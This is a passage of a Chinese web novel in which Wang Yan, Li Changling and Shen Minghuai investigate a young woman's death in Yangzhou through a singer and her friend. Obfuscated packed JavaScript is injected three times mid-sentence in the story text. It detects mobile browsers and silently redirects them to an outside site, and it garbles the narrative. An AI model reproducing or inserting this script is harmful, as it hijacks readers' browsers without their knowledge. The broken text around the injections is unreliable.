王琰抓着李长凌的袖子，方才那群弓手在，还未觉有什么，现下就他二人，只觉身上凉飕飕的。 李长凌拍拍她的手，安慰道：“莫慌，这世间并无鬼神。” “那你这剑神怎么说？鬼说不定也存在呢。” 李长凌无声笑起来，“马屁精。放心，师兄我不会丢下你的。” 王琰依旧不敢松开，“其实我不怕鬼魂，他们应当比人讲理多了。很多时候，活人比死人恐怖。那儿！那儿！那儿！” 李长凌顺着王琰指的地方看去。 一名男子正将土铲回坑里，将坟复原，后从竹筐里拿出一捧白色雏菊，放在一旁。 王琰奇道：“他这是在作什么？” “去问问不就知道了。” 李长凌悄无声息地站到那男子身后，“这位官人。” 那人闻言转身，吓得直坐在地上。李长凌好意将其拉起，问他在做甚。男子支支吾吾地不愿说，瞅准机会便要逃。 王琰一瞬拦在他面前，“你跑什么？” 梦殊急道：“我与二位素不相识，还烦高抬贵手。” 此人背着月光，看不清脸，王琰剜他却瞧得清楚。 “你连人家的坟都挖了，还对尸体做出那种事，真是伤风败俗——” 梦殊以为他们是这个坟主的家人，忙弯腰作揖解释道：“我并未作那种事！挖坟......我是不得已而为，绝没有对这些娘子有任何不敬。” 李长凌敏锐地嗅到一丝不对劲，“你在找人。” 察觉到梦殊动作一滞，李长凌紧接着道：“何家长女，你在寻她。” 梦殊脸色大变，李长凌迅速移到他身前，追问：“四个月前，她因何而死？” “我......不知......” 梦殊脸色越发难看，一个劲儿地想逃离此地。 王琰劝道：“你已寻近一个月了，却无任何线索。就算你将这片挖个遍，也不一定找得到她。我们可以助你找到你要找的人，或许说，临江仙二东家可以。” “临江仙”三个字一出，梦殊果真神色微动。临江仙作为扬州极负盛名的酒楼，且不说打探消息的能力如何，以东家的财力，什么消息买不到。 李长凌助他将坟再呈原状，“你放心，我们只是想打听一个消息，与何家无关，亦不会牵扯官府。” 王琰给他两日时间考虑，“届时临江仙，与掌柜报名字，他会引你来见我。” 两日后未正，华信风尘仆仆迈入临江仙厅院，身后还不紧不慢跟着两人。 一下船便听岸边的货郎说，临江仙与明月楼是扬州城最好的两座酒楼。沈明淮犹豫片刻，选了前者，打听好位置，直奔此地而来。 三人在靠西侧的一张楠木方桌坐下，跑堂拿着纸笔迎上来，“三位客官，吃些什么？” “一切从简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276287|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 华信大手一挥，“你家招牌都来一份。” 应冥坐下连喝三杯茶，心满意足地舒了一口气，奇道：“王娘子？” 沈明淮抬眸望去，王琰正提裙上阶，青丝梳成发辫垂在一侧。 华信亦拎着脖子看去，“不想这么快便遇上了。”又问跑堂：“那是何人？” 跑堂循着三人的视线看去，“是咱掌柜，和二东家。” 沈明淮将微微抬起的眉压下，王琰的身影亦消失在转角，“二东家？” 跑堂点了点头，“大东家不常在扬州，现下是二东家主事。” 便是喝口茶的空档，掌柜又下楼领了一俊美男子再次消失在转角。 “新来的，”张四走到端着案板的跑堂旁，“那是不是象姑馆的梦殊？谁胆敢在临江仙点人，还是掌柜的领着去？” 那跑堂未搭理他，将黄鱼汤羹稳稳放到华信面前。沈明淮修长的手握着青瓷茶杯，徐徐摩挲着杯壁。菜肴陆续上桌，华信与应冥早已望眼欲穿，巴巴地等着沈明淮动筷。 小跑堂端来最后一道菜，就在此时，沈明淮的宽袖恰巧一挥，菜盘掉落碎了一地，人参笋全洒在沈明淮的锦缎宽袍上。 小跑堂一瞬惊惶失色，忙弯腰道歉收拾，付掌柜见状赶来，一口一个“对不住”。 “无——”沈明淮双手悬于桌上，语气轻缓，却放慢了调子，“不知可否见见你们东家。” 付掌柜伏低腰身，“这位公子，咱大东家不在，鄙人是临江仙掌柜——” 华信不容分说，“那便唤你们二东家来。” “还不去将衣裳拿来！” 付掌柜瞪了那小跑堂一眼，面上仍是笑呵呵的，“店内备有干净衣裳，公子若是不嫌弃可先换上。这身衣裳价几钱，小店会照价赔偿。” 沈明淮敛起所有神色，“倘若我一定要见你们二东家呢？” 付掌柜笑道：“二东家此刻正忙。公子有何事，我可代为传达。” 应冥哼道：“忙？怕不是在忙什么不正经的事罢？” “你！”付掌柜顷刻冷了脸，“来人！将他们请出临江仙，鄙店容不下三尊大佛！” 应冥、华信旋即持剑起身，正要拔剑，只听一声呵斥。 “住手！” 还未踏下最后一阶，端坐的山矾长袍公子转身，一张俊气又熟悉的脸闯入她的视线。王琰先是一怔，心底多少泛起些许欢喜。麦子急忙唤她时，还道是谢昱又着人捣乱来了。 原来是他。笄礼至今，也是有不少时日了。 “沈公子。” 见阶上娘子不惊不喜，亦无更多寒暄。这回惜字如金的人倒成了她。沈明淮的笑意不减，“娘子的脸，看样子是治好了。” 王琰从阶上走下，站定在两步之外，“扬州人杰地灵，公子这不也被吸引来了？”顺着他的视线移到沾满菜汁的袖子上，惨不忍睹。 “莫脏了娘子的手。” 实则王琰还来不及有任何动作。她方要抬臂，那袖摆往后收得可是比谁都快。 16. 兴师问罪 她顺势将手收于身前掩了掩，语气淡了淡，“鄙店备有新衣，公子可先换上。劳公子将脏衣裳交与我，着人洗净再还与公子。是这小厮招待不周，这顿饭算我请。诸位请继续享用。” 华信瞥了眼王琰，又瞧了眼他家公子。两位主虽笑意满满，却是比生人还要疏上几分。上京那副情浓蜜意的模样，敢情是演给卫王看的。不对，自王娘子笄礼始，准确地说是尹士成拿来那封信，他二人的关系他便摸不透了。 又闻他家主子道：“还劳娘子带路。” 王琰遂引他到一个无人雅间，一人候在门外。不过片刻，沈明淮打开厢门，定定瞧着王琰。 王琰正预备接过脏衣，却听沈明淮忽道：“二东家好气派。” 王琰的手再次滞在半空，等着下面的话。 “此等做派若是传回上京，王家该如何。” 王琰不解，旋回头道：“何等做派又惹得公子不悦？” 沈明淮此番倒开门见山地说：“大庭广众之下召——阅美男，不妥罢？” “我乐意。”王琰立马换上一副笑靥，又转身避开他直勾勾的目光，“再说，我的事与公子何干？出了上京，该各自安好才是。” “去坐那个位置的人尚未定下，娘子这就不演了？” 王琰身子一僵，“沈公子这是来兴师问罪的？” 沈明淮步步逼近，垂眸瞧着她，轻声道：“我可以帮你。” 王琰不敢轻动，衣袖下的两只手绞在一起。 “但我们需一齐找到静心。” 果真是为了静心。王琰眸色一暗，扯开两步距离，“一起来罢。” 沈明淮将脏衣丢与应冥，大步跟上，来到二楼雅间。那俊美男子果真在内，一旁原还坐着李长凌。 李长凌乐津津道：“我说谁要找阿潆的麻烦呢，原是明淮来了。”随即倒了杯茶，推到沈明淮面前。 原是这头牌与静心有关，且李长凌早已打算与他合作。沈明淮对李长凌揖了一礼，“览之兄。” 梦殊对这位不速之客很是戒备，“这位是？” 李长凌平抚道：“莫紧张，他亦是来帮你的。” 梦殊微微皱眉，“你也想知那和尚的下落？” 沈明淮跟在王琰一侧坐下，“我与他二人交好，若仁兄信得过他们，便可信任沈某。仁兄的条件，不妨说说。” 梦殊不断打量眼前人，与那二位的气场颇不相同，好似……官家人。话语间有股无形的慑力从四面八方聚集而来，明明不过弱冠。 他无意掺和什么和尚的事，直言：“若要合作，你们须有百分百的把握。” 王琰旋即举指保证，“我们一定会助你找到何娘子。” 沈明淮偏与她作对似的，“不敢妄言十成把握，但定有九成。” 梦殊再次露出戒备的神色，昨日石子冈相遇，他们便唤了“何娘子”。 “任何消息，只要你想，临江仙都能打听到。” 王琰此言虽带有吹嘘的成分，但她自信定有蛛丝马迹可循。人存于世，纵不求名垂青史，尚似飞鸿踏雪，又怎会毫无踪迹。何况死后，一切皆成定数。 去岁她与李长凌到常州，受到在茶楼酒楼买卖消息的启发，与王桢商议后，亦在临江仙做起了情报交易。只是尚未成熟。 梦殊细想片刻，终是松口答应了。 李长凌再次问道：“你是何时得知她已经去世了？” “一个月前。” 何郦是象姑馆的常客，每回只找梦殊一人，四个月前却忽然与他断了来往。此后梦殊每到何府寻何郦，皆被女使拒之门外。何郦称病，外客一律不见。 梦殊仍旧不死心，隔几日再去，转瞬过了三个月。一日，梦殊在往何府的路上被一男孩拦住。小童厉声警告梦殊，害死姐姐的人，不配再去何府。 王琰频频蹙眉，只觉整件事都很蹊跷，让人不解。 沈明淮问道：“你们因何断了来往？” 梦殊神色微变，只道那日在象姑馆还好好的，不想却是最后一次见她。 李长凌小声嘀咕道：“该不会是真病？你们也太不注意身体了……” “胡说！”梦殊一瞬面红耳赤，高声反驳，“她……她身体比我好多了……我都无事！她怎么会……” 王琰只当他羞于启齿，“公子但说无妨，云——” “雨”字还未说出口，下一刻便被李长凌迅速捂住嘴，向一脸惊诧的梦殊干笑两声，“舍妹口无遮拦，莫怪，莫怪。” 此间，沈明淮将手不动声色地收了回去，意味不明地瞧了王琰一眼。 王琰又提议道：“若我在你不方便说，那我出去便是。” 梦殊仍不愿细说，“我……对不住。” 李长凌只好换个法子，“你与她，就再无其他联系？她的婢女，你可见过？” 梦殊又摇了摇头，“郦娘每次都是一人来此，我未见过她的婢女，也与何家无任何来往。” 王琰问：“闺友呢？” 梦殊未答，沉默半晌，忽道：“就在郦娘闭府不出的前几日，她带了一娘子来听曲。她们，应当是朋友。但我并不知晓她的名字。” 王琰眸里的光亮起来，“总算还有些线索。我先让掌柜的帮寻，届时还需你来认一认。” 送走梦殊后，王琰才草草将她二人先前的猜测说了一番。 李长凌又补充一句，“我托人查了，另外二人死因虽未明确，但邻里皆道办了丧事。唯有何家，口风紧得很。” 对于这位何娘子，他们知晓的太少，沈明淮思忖道：“还须从她的身边人入手。” 王琰已让付掌柜去搜罗消息，“最快两日便有结果。” 李长凌也不知为何对沈明淮如此信任，“我们住在城东。你有何消息，便到此处或城东万春院寻我们。” 临走前，沈明淮顿住步子，忽道：“你下扬州一事，他们皆知。” 王琰站在他身后几步，虽知他瞧不见，但还是点了点头。她亲口说的，商念遥当然知晓了。 沈明淮似乎不满没听见回答，又道：“你是故意告知他们的。” 王琰这回“嗯”了一声，心想此人怎么什么都知，又听前边人轻声叹出两个字。 “我呢？” “你？”王琰眼眸一转，“那封信上不是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276288|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了么。” 信……那封放在吃食下的信。沈明淮再次将那句话默念一遍……槐淘，原是这意思。 “不过你怎知我是故意的？”王琰忽地惊觉，“你知那日我去见了他二人？” 不等沈明淮回答，王琰又道：“税礼茶楼！是你家产业？” “二东家！”麦子不知何事急匆匆唤她。 沈明淮只道：“我便不打扰二东家理铺了。” 一日将去，月色盈了满帘。沈明淮沐浴过后，一身檀香方才散去，正要解衣上塌，门外响起华信的声音。 “进。” 沈明淮又将衣裳合好。 华信掩上门，禀道：“公子，属下打探过了，何郦死前正预备与孙家二公子说亲。” “说亲？” 华信道：“正是。约莫便是四个月前的事，人死了才作罢。” 莫非那日他们因此起了争执？这并非什么难以启齿之事，除非那梦殊还有隐瞒。 “明日去象姑馆一趟。” 王琰将沈明淮叫到临江仙，将付掌柜搜集的画像尽数展开。 “郦娘子生前好友众多，不过因她常常出入象姑馆，多是泛泛之交。付掌柜已尽力将交往较为频繁之人的画像寻来。” 方摆上最后一幅画像，李长凌与梦殊便走了进来，神神秘秘道：“阿潆你猜我见着谁了？” 王琰正端详画中女子的面容，“谁啊。” “祝尧。” “祝尧？” 王琰旋放下画轴抬起头，又勾起一抹笑，马上挽过李长凌的手往外走，“去打个招呼。” “祝尧......”梦殊瞧着王琰放在桌上的画像，若有所思。 王琰匆匆转身与他说了两句，“你先瞧，我们去去便来。” 李长凌一副不太情愿的模样，“人家带了小娘子来花前月下的，你去打搅什么？攀亲道故也要看时候。” 沈明淮喝茶的动作又神闲气定起来。明州祝家。 “都送上门了，此时不攀何时攀？”王琰一开门，祝尧便迎面走过。 “祝兄？” 前面二人止住脚，祝尧闻言转身，喜道：“李兄，王娘子。你们竟也在此处？” “久闻临江仙盛名，特来尝尝。”李长凌携上揶揄的语气，“祝兄这是？” 堇衣女子悄然红了脸。 “我亦与友人来此小聚。”祝尧马上发觉不对，“娘子脸上......” “寻大夫治好了，眼下已无碍。” 王琰轻描淡写解释过后，极其热心地荐道：“方才尝了些临江仙近月的新馔，群仙羹、鲜笋煨鱼翅、蜜酒蒸鲥鱼，很是鲜美，祝兄若无忌口，大可试试。还有这儿的琼花露，也是一绝。” “不想娘子也是爱酒之人。”祝尧认同道，“临江仙的琼花露，确是祝某喝过最好的酒。今儿便尝尝娘子说的那三道菜。” 王琰笑靥如花，“别让祝兄的友人久等了。吃好喝好啊。” 待二人走后，王琰与李长凌回到雅间。梦殊面色沉重，旁边的沈明淮倒似在自家酒楼般自在。后者轻轻开口，“找到了，方才那位娘子就是。” 17. 只是听曲！ 李长凌扬声道：“方才那娘子？！怎么不早说。” “无妨，待会儿再去问问。”王琰转又难过道，“刚到手的鸭子这便飞了......” 李长凌早已见怪不怪，直唤了声“财迷”。 王琰歪头道：“这世间还有人不爱财么？钱财虽乃身外之物，但抵不过它实在。” “还真有。”李长凌毫不见外，率直指道，“他师父，一心武学，处世白痴。” “在人徒弟面前骂他师父白痴，不太……” 余光瞥见沈明淮的嘴角竟噙着笑，王琰顺他的视线看去，最终落在了那娘子的画像上。 “他打不过我。”李长凌不以为意，傅吉徵与他是什么关系，怎会在意这些。 王琰不知不觉走到沈明淮身侧，“怎么能成日将‘打’挂在嘴边呢？要以理服人，是罢？” 沈明淮借势往她身后退了退，“沈某日后便仰仗二东家了。” “我何时说要护着你了？”王琰挪开一步，“我能力有限，与其两个人一起挨揍，不若还是公子自己上罢。” 沈明淮忽地抬手还未有下一步动作，王琰旋即又退一步。脑门被弹得多了，这下真成了下意识反应。却不知那抬手也是某人的习惯。沈明淮只得讪讪收回手，干咳两声。 “我去跟掌柜的吩咐一声。” 王琰快步离开了厢房。李长凌的目光直扫向沈明淮，两人对视了好一会儿，什么都没说，又好像什么都说了。 “她兄长只我与以衡二人足矣。” “嗯。”沈明淮先移开了目光，大抵忽觉此行为既幼稚又可笑。 “你们不合适，最好别开始。”李长凌突然认真起来。 沈明淮拿起画像，“览之兄为何这样说？是觉着我对她有意，还是她对我有意？” “如此最好。” 话音方落，王琰便回来了，径直在梦殊旁侧坐下，“何娘子很多好友么？” 这男子愁眉不展的样子，竟有一种楚楚可怜的落寞。难怪何娘子喜欢。 “她只与那位娘子来听过我唱曲，其余不知。” 李长凌只觉奇怪，“怎么这么多人，独她应了？” 普通人家的娘子，谁也不想与象姑馆沾上半点关系，皆是离得越远越好。 王琰并不觉得奇，“这不就说明，她们关系最好。” 沈明淮点点头，“人言可畏，唯她不顾，应了约。她方才可是认出你了？” 李长凌见梦殊欲言又止的样子，迷惑道：“你们有过节？” 王琰记起前两日梦殊的话，顷刻冷了脸，“合作之初便满口谎话，这可不好。” 沈明淮悠悠将画像摆到梦殊眼前，“不相识的人，相视过后却神色忽变。” 梦殊双手紧握，“我的确不知她的名字。半个月前我去找过她，想问郦娘葬在何处……她对我满是敌意，我不知是何原因。” 李长凌忙问：“她知晓何娘子的尸身埋在何处？” 梦殊垂下头，“她说就算知晓亦不会告之于我，她求我放过郦娘……” 沈明淮许是敏锐察觉到什么，极认真道：“她或许知晓何娘子身亡的真相。” 王琰倏地起身，“得找个机会与她聊聊了。先派个人去盯着，从祝尧那下手。” 梦殊这才开口道：“方才那位公子，我晓得。” 李长凌一手握着茶杯，一手拿起那幅画像，“这下倒诚实了。明州祝家，谁不晓得？” 梦殊遮遮掩掩道：“他每次来扬州，都会到象姑馆听我唱曲……” 王琰与沈明淮相觑一眼，前者迅速移开视线。李长凌喷了满地茶水。 梦殊忙道：“不是诸位想的那样！只是听曲！听曲！” 沈明淮最先正色，“那他可还听过旁人唱曲？” 梦殊细细想了想，“应是……没有。” 李长凌频频摇头，“想不到啊，想不到啊……” 梦殊急得脸又红了，“真的不是少侠你想的那般！” 王琰推推李长凌，“好了好了，不是便不是罢。” 就在他三人打闹的空档，沈明淮已想出办法。 “你尽快再唱一次。” 三人不解地齐齐看向他。 “且让祝公子与上官娘子一起去听。” “上官娘子？”李长凌复又低头，“上官娘子。” 王琰旋即大胆猜测，“或许上官娘子答应何娘子的原因，便在祝尧。” 李长凌觉得不可行，“上官娘子怎会与自己心仪的郎君一起去象姑馆？” 沈明淮解释道：“不必真的去听，只要当祝尧的面，发出这个邀约。” “重在舆人之论？”王琰跃跃欲试，“交给我罢。” 沈明淮随口夸了一句，“聪明。” 王琰愣住一瞬，方笑回：“多谢沈公子夸奖。” 李长凌眼睛眯成一条缝，“沈明淮，我发现你越来越不像上京那副样子了。” 沈明淮淡声道：“那览之兄以为，是好还是坏？” 李长凌又颇纠结，“不好。” “身处江湖，入乡随俗，洒脱为好，会伪装，更好。”王琰嘴上虽这般说，却也对沈明淮的转变多有猜疑。当真只是为了静心吗…… 李长凌训她，“别洒脱过头，当心传回姑母的耳朵里，以后就只能乖乖待在上京了。” 王琰指责道：“告状非君子所为。这江湖天高地远，我才不回去呢。” 李长凌当即反驳，“嗳，你别诬陷好人。以衡的眼睛遍布九州大地，你可小心。别怪为兄没提醒你。” 以王桢的能力，确能做到这种程度。不然为何每次都能适时地抓她回去呢？难怪她总觉得凉飕飕的，说不定王桢的眼睛就在某一处盯着她。王琰拢了拢衣裳。 梦殊打量起他三人来，“三位都是上京来的？” 李长凌迅速撇清，“他们是，我不是。” 王琰纠正他，指指沈明淮，“只有他是。” 李长凌揶揄道：“嗯，着实与上京那些名门闺秀不搭边，一瞧就知是潇洒超脱的侠义之士。” 王琰投去的目光立即犀利几分，就是说她没规矩呗。 “还不知三位如何称呼。” “王清月。”“李——朗风。” 沈明淮瞧了这似笑非笑的兄妹一眼，“沈明淮。” 王琰俯身与李长凌低声道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276289|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看罢，上京皆是翩翩君子。” 沈明淮耳力不差，且坐她身侧，不知不觉伸出手又收了回去，未再说什么。下一刻，王琰被李长凌推开坐正。 梦殊长叹一声，“我还以为自己有幸与李少侠一处，不想原不是他。” 王琰往旁瞥了一眼，“你以为是何人？” “李长凌。”梦殊迅速接着道，“不过既不是，我也放心些。李少侠盛名在外，与郦娘扯上关系，终不大好。若还有需我协助的地方，尽管传信于我。梦殊言尽于此，告辞。” 梦殊一走，李长凌笑意骤敛，“扮猪吃老虎。” 王琰认同地点点头，看向沈明淮，“揣着明白装糊涂。” 沈明淮却道：“他未挑明，实已表明了态度。知你二人此行隐秘，怕事情闹大，何家若出面，他便再见不到何娘子。” 李长凌起身往外走，“你说的也有几分道理。总之，你俩多留个心眼。” 王琰见状迅速跟上去，“我去瞧瞧付掌柜。” 梦殊在象姑馆唱曲原定在每月月中，月初加唱的消息一出，不过一日便传遍扬州城。 王琰一早便到沈明淮下榻的邸店，只见房门宽敞，“沈公子？” 显然是刚洗漱过的样子，沈明淮束着革带走出来，“嗯？” 王琰的视线越过他往房里看，“才起？” 沈明淮无奈叹了口气，“这床睡不惯，昨日才睡得好些，便起迟了。不知娘子大驾光临，有失远迎。” “这都天字一号房了，还睡不惯呐。” “认床。”沈明淮又道了声，“进来罢。” 王琰跟着他在几案坐下。 “吃过早膳了？” 王琰细致将四周瞧了一遭，“未曾。” “有事也吃过早膳再说。”沈明淮说着就要唤应冥。 王琰忽站起来，“不若到早市去吃罢？” 二人要了两笼灌浆馒头，两碗茗粥，坐在人声鼎沸的早市，聊着家常。 “定国公府可有食不言、寝不语的规矩？” 沈明淮将竹箸递于她，“嗯。” 王琰毫不意外地点点头，未再开口。 沈明淮舀起一勺粥，顿了顿道：“不过现下不在府中，自不必守。” “粗茶薄食，还望沈公子别嫌弃。” 王琰却也只客气地说了这一句，接着便咬了一口馒头。先将鲜美的汁水吮尽，再将内馅与薄皮一齐享用。人间美味莫过于此。 再看沈明淮细嚼慢咽的样子，真是与王桢如出一辙。 王琰在外随性惯了，随意吹吹即放入口中。刚蒸出笼的馒头汁水四溢，尽管被烫到舌头，仍旧两口一个。 “小心噎着——”沈明淮下意识开口，又将刚放下的碗端起来，“除了上京，你一直生活在此地？” “大多如此。”王琰快速将吃食咽下，嘴角难免沾有溢出的汁水，偏今日忘带帕子，她又不能豪爽地用袖口擦去，此刻真是有些难堪。 沈明淮将帕子递给她，又夹起一个馒头，“听闻王尚书与李夫人极少离开上京。” 王琰正犹豫要不要接的时候，对面人再次开口：“你亦带了手帕，还是需人代劳？” 18. 拜你为师 此话一出，王琰迅速接过帕子，轻轻擦了擦，“我与表兄常在此地生活，偶尔会回上京住一阵。” 沈明淮垂眸看着手边的茗粥，没头没脑地说了句：“白百道是你们的人。” 王琰闻之一惊，还好现下未吃东西，否则非将自己呛到不可。只好牵强扯出一个笑来，“公子何故认为他是我们的人？” 沈明淮回想起沈鼎臣的话。 “王甫直这个老狐狸。” 他竟才发觉，王家是一窝狐狸。 “常年不在京城的深闺娘子，怎知这白百道。” 王琰慢条斯理地将帕子收入袖中，“沈公子耳力不错，应是那日听到卫王殿下与我谈及罢？那该知是他从白百道那找来我的画像。” “沈某耳力不及娘子许多。”一瞬戴上的假面，让沈明淮看不透，“只是随口问问罢了。在娘子眼里，沈某便只是他的耳目？” 不想他以为她不认，是因忌惮卫王。王琰不置可否，“他若问起，你亦不能忤逆，毕竟是皇子。” 沈明淮的眸光落在她脸上，“王娘子很怕他？” 王琰盯着茗粥出神，“不是怕，是不想与那个地方牵扯过多。我早与你说过，弃之如遗。” 那日临走对他荡开一笑的小娘子，再次浮现眼前。沈明淮挑起另一个话头，“你寻我所为何事？” “手帕洗净再还你。”王琰先行起身，“今日祝尧与那小娘子会去看杂剧，需去会会她。” “李兄不去？” “表兄他去州署寻知州了。” “原是李兄有事。” 王琰听着这话不大对劲，却又说不上来哪里不对。沈明淮又意有所指地指出，她好似每次去看戏都别有用意。其实王琰第一次觉得戏剧有意思，还是上次看的药发傀儡。 “我本也不喜欢看戏，还是更喜欢弄些小玩意儿，纸鸢、剪纸、篆香、花草灯……很久以前，我想学点茶，可惜寻不到老师。” “点茶？”沈明淮眸光微动，“为何？” “好奇。我起初觉着，不就是在茶汤上作画，为何大越人人趋之若鹜，这样无趣的技艺竟还有人引以为傲。” 王琰未察觉沈明淮正欲开口，继续可有可无道：“后来我仍觉无趣，便放弃了。” 沈明淮面不改色道：“既这般枯燥，娘子的决定想来十分正确。” “看罢，这便有人斗上了。”王琰被一旁斗茶吆喝的人吸引了去，忽发现什么似的，快步上前，“彩头竟是一套琉璃盏！” 那席上坐着的，亦是熟人。 “少东家，您这点茶的技艺是越来越精湛了！” “若无人再斗，这琉璃盏便——” “且慢！” 王琰一喊，众人皆齐齐看过来。 席上那“少东家”不屑地冷呵一声，“王琰，你兄长可不在，你凑什么热闹？” 王琰直略过他，看向这场斗茶的“东家”，“这位公子可否试试？” 谢昱显然也未将沈明淮放在眼里，“怎么，这次知道搬救兵了？你这相好，看起来输了会哭鼻子啊。” 王琰咬牙切齿道：“谢昱，你找死——” 沈明淮拦住她，在另一张席上坐下，开始点茶。 过了片刻，王琰乐津津捧着琉璃盏谢道：“阿兄与我说过你点茶技艺了得，不想竟这般厉害。方才还说只‘略知一二’，公子好生谦虚。” 沈明淮未理会她的奉承，“他是谁？” “明月楼少东家。”王琰忽止了步子，“我改主意了。” 沈明淮不解地回头，只见王琰扯下那环佩递过来。 “我要拜你为师，这个权当束脩，如何？” “借花献佛？”沈明淮好似对她随身带着这环佩并不惊讶，俯身替她系回腰间。 倾身靠近带来一股淡淡的龙涎香，王琰一下僵在原地，垂眸看着他的玉冠，有些不知所措，鬼使神差地开口：“你平常熏的什么香？” “不曾熏香。”系罢，沈明淮提袖嗅了嗅，“这是龙涎香的味道，沾上了些。” 王琰又说回拜师一事上，很是认真。 沈明淮兀自走在前头，“此事需从长计议。” 两人早早来到腰棚内候着。许是太阳过烈，王琰话忽而少了不少。沈明淮数次侧目，王琰都佯作不知，只仰着脖子四处寻那二人。 未等多久，祝尧果真与那娘子一齐出现。他二人刻意站在较显眼的位置，祝尧一下便瞧见了。 “王娘子？你也来看戏。” 抖落散逸，王琰笑得滴水不漏，“这般杂剧可有名得很，便来瞧瞧。” 祝尧拉过王琰，悄声说道：“上回去临江仙，一大桌子的菜，还道是你这个东家趁机诈我一顿，不想是我以小人之心度君子之腹了。那两坛琼花露，我定好好享用！”说着说着，情绪激动，免不了拍肩表示他的感激。 王琰干笑两声，随即被沈明淮拉回身侧。 祝尧早早便发现她身旁那位玉面男子，“这位公子那日也在临江仙罢？想来是娘子的好友了。” “他亦是慕名而来。”王琰已注意上官语许久，“这位娘子也爱看般杂剧么？” 祝尧代她回道：“是啊。一年前，我与上官娘子便在此相识。” 王琰一双桃花眼微微睁圆，惊讶道：“竟有这样的缘分。不想祝兄、上官娘子与我一样，都爱瞧这些个杂戏。” 上官语只是不冷不热地微笑着，很是不喜王琰旁侧那冷面公子的打量目光。 祝尧将扇子一展，“王娘子不但酒品绝佳，这方面也与祝某喜欢到一块去了，真真有些相见恨晚啊。娘子瞧瞧，祝某今日的折扇，可比上次的好？” 王琰的语气中略捎歉意，“祝兄真是说笑了，清月没兄长那辨识字画的本事，不懂这些。” “也是。不过娘子那记落花剑，祝某还记着呢。出神入化，以假乱真。”祝尧举指比划两下，又被王琰腰间环佩吸引了去。 “王娘子这环佩上回倒没见着……可是羊脂白玉？” 王琰余光投向沈明淮，“祝兄好眼力。友人相赠，实在贵重，旅途奔波，故先前并未佩戴。” 祝尧又看向王琰身边的男子，旋即了然。不过，他怎么好似一直在瞧上官 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话语间，祝尧还频频留意沈明淮的神色，竟无丝毫波澜。这男子当真……大度。 王琰望向上官语，“又未做任何出格之事，何须介意？上官娘子亦去听过罢？想来与我应是一样的看法。” 上官语回过神来，从容抬眼，手却止不住地攥紧衣袖，“王娘子何出此言？” 王琰苦恼道：“那日与何娘子一起的，不是上官娘子？莫不是清月看错了……” 上官语矢口否认，“想来是娘子认错了。” 王琰深表可惜，“听闻何娘子不久前逝世，她曾帮过我数次，本想去祭拜祭拜。奈何何府信不过外人，未告知于我，还冷言相待。原以为上官娘子与何娘子是闺友，便想着与你打听一二……” 见状，沈明淮旋安慰道：“无妨，何娘子好友众多，再打听打听，总会有消息。” 上官语双唇紧抿，未再看她。 “哪位何娘子？”祝尧问。 “何家郦娘。” “何家郦娘……头发可是常垂在左侧？” “嗳。” 祝尧扭头与上官语道：“那娘子，原非你闺友？我也曾见你二人在一处。” 上官语目光躲闪，半吞半吐道：“她是与我相识不错……但我亦不知她葬于何处。” 沈明淮忽地神情严肃，“何郦威胁你什么了。” 上官语急言：“怎会！郦姐——她不可能威胁我......” 王琰隐约知晓她在害怕什么，“那就是何家，对罢？” 上官语惊恐地抬起头，又迅速低下，“没有，没有......我什么也不知道。” 祝尧看他二人的眼神已算不得友善，转身抚慰上官语。 “她现下情绪不大好，我们先告辞了。” 二人离去的背影愈来愈小，王琰凝眸，“她显然知道些什么。” 沈明淮侧目看着她，“可能是全部真相。” 19. 宴请百家 沈明淮与王琰回了听樱轩。她本无此意，奈何沈明说，即已合作，就该及时互换情报。况且李长凌也曾言可以到他们的居处寻他，王琰不好再拒绝，沈明淮就这么厚着脸皮来了。 李长凌说得不错，上京与扬州，两幅面孔。这话的主人正翻着《大乘无量寿经》，也不知看没看进去，见他们来了旋即丢在一边。 走进园子，仿佛另一方天地，沈明淮也被这景致摄住，“风老也这般极尽风雅。” 风槐生早年买下这个院子，取名万春。听樱轩正对着花园，是李长凌与王琰二人读书之余最喜欢的去处。风槐生不爱侍弄花草，一园子的群芳从木，都是他二人一手置弄起来的。 春夏秋冬，四时流转，园子里花景不绝，梅、兰、荷、桂，相继而至。但凡友人来到扬州，李长凌总要请到此处炫耀一番。 “这可不是师父他老人家的心血。”李长凌领沈明淮到绽开的芍药园前，“哪一草，哪一木，未经过我与阿潆的精心呵护？” 小片的芍药在花圃中尤为显眼，沈明淮抱拳轻揖，“原是览之兄与王娘子的佳作。” “芍药开得这般好了，”王琰噙着笑起身，“也不知澹香园今岁何时开放。” 